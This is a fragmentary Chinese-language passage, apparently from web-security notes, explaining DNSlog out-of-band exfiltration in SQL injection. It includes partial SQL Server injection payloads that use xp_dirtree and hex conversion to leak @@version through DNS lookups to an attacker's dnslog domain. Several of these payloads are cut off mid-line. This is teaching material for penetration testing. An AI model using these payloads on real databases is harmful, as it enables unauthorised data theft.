, 称为数据外带, 原理上只要能进行DNS请求的函数都可能存在DNSlog注入
DNSLOG利用场景
sql注入时, 存在盲注或者延时, 我们获得需要数据就会频繁请求, 最后导致IP 被Ban
sql注入时...,(******))) #转环
解释: sql server 中不能直接转十六进制, 需要转到二进制,在转到十六进制
利用xp_dirtree
函数构造
明确master..xp_dirtree如何拼接函数...(varbinary,(@@version))))%2b'.三级dnslog'
;exec master..xp_dirtree @a--
由于varbinary()函数只能执行出32个位字符,无法显示全部...--
转码后payload
;DECLARE @a varchar(1000);
;Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary...利用场景
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。